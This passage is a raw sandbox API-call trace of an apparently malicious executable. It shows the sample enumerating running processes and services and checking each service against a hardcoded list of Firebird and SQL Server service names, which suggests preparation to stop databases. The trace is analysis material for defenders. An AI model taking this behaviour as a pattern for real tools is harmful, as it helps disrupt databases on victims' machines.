th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.818] lstrlenW (lpString="svchost.exe") returned 11 [0156.818] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.818] lstrlenW (lpString="svchost.exe") returned 11 [0156.818] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.819] lstrlenW (lpString="audiodg.exe") returned 11 [0156.819] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.819] lstrlenW (lpString="svchost.exe") returned 11 [0156.819] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.819] lstrlenW (lpString="explorer.exe") returned 12 [0156.819] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.820] lstrlenW (lpString="dwm.exe") returned 7 [0156.820] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.820] lstrlenW (lpString="svchost.exe") returned 11 [0156.820] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0156.820] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0156.820] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.821] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.821] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0156.821] lstrlenW (lpString="reader_sl.exe") returned 13 [0156.821] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.821] lstrlenW (lpString="svchost.exe") returned 11 [0156.821] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.822] lstrlenW (lpString="taskhost.exe") returned 12 [0156.822] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0156.822] lstrlenW (lpString="dllhost.exe") returned 11 [0156.822] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0156.822] CloseHandle (hObject=0x1fc) returned 1 [0156.822] Sleep (dwMilliseconds=0x1f4) [0157.789] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0157.790] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0157.790] GetLastError () returned 0xea [0157.790] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x428bbd0 [0157.790] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0157.791] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0157.791] lstrlenW (lpString="Appinfo") returned 7 [0157.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.791] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.791] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.791] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.791] lstrlenW (lpString="AudioSrv") returned 8 [0157.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0157.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0157.791] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0157.791] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0157.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0157.791] lstrlenW (lpString="BFE") returned 3 [0157.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.792] lstrlenW (lpString="CryptSvc") returned 8 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.792] lstrlenW (lpString="CscService") returned 10 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0157.792] lstrlenW (lpString="DcomLaunch") returned 10 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.792] lstrlenW (lpString="Dhcp") returned 4 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.792] lstrlenW (lpString="Dnscache") returned 8 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.792] lstrlenW (lpString="DPS") returned 3 [0157.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.793] lstrlenW (lpString="eventlog") returned 8 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0157.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0157.793] lstrlenW (lpString="EventSystem") returned 11 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.793] lstrlenW (lpString="gpsvc") returned 5 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.793] lstrlenW (lpString="iphlpsvc") returned 8 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.793] lstrlenW (lpString="LanmanServer") returned 12 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.793] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.793] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.793] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.794] lstrlenW (lpString="lmhosts") returned 7 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.794] lstrlenW (lpString="MMCSS") returned 5 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0157.794] lstrlenW (lpString="MpsSvc") returned 6 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.794] lstrlenW (lpString="Netman") returned 6 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0157.794] lstrlenW (lpString="netprofm") returned 8 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.794] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.794] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.794] lstrlenW (lpString="NlaSvc") returned 6 [0157.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.795] lstrlenW (lpString="nsi") returned 3 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.795] lstrlenW (lpString="PcaSvc") returned 6 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.795] lstrlenW (lpString="PlugPlay") returned 8 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.795] lstrlenW (lpString="Power") returned 5 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.795] lstrlenW (lpString="ProfSvc") returned 7 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.795] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.795] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.796] lstrlenW (lpString="RpcSs") returned 5 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.796] lstrlenW (lpString="SamSs") returned 5 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.796] lstrlenW (lpString="Schedule") returned 8 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.796] lstrlenW (lpString="SENS") returned 4 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.796] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.796] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.796] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.796] lstrlenW (lpString="Spooler") returned 7 [0157.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.797] lstrlenW (lpString="SysMain") returned 7 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.797] lstrlenW (lpString="Themes") returned 6 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.797] lstrlenW (lpString="TrkWks") returned 6 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0157.797] lstrlenW (lpString="UxSms") returned 5 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0157.797] lstrlenW (lpString="WdiServiceHost") returned 14 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0157.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0157.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0157.797] lstrlenW (lpString="WdiSystemHost") returned 13 [0157.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.798] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0157.798] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0157.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0157.798] lstrlenW (lpString="Winmgmt") returned 7 [0157.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0157.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0157.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0157.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0157.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0157.798] lstrlenW (lpString="WPDBusEnum") returned 10 [0157.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.798] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0157.798] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0157.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0157.798] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0157.798] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0157.800] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 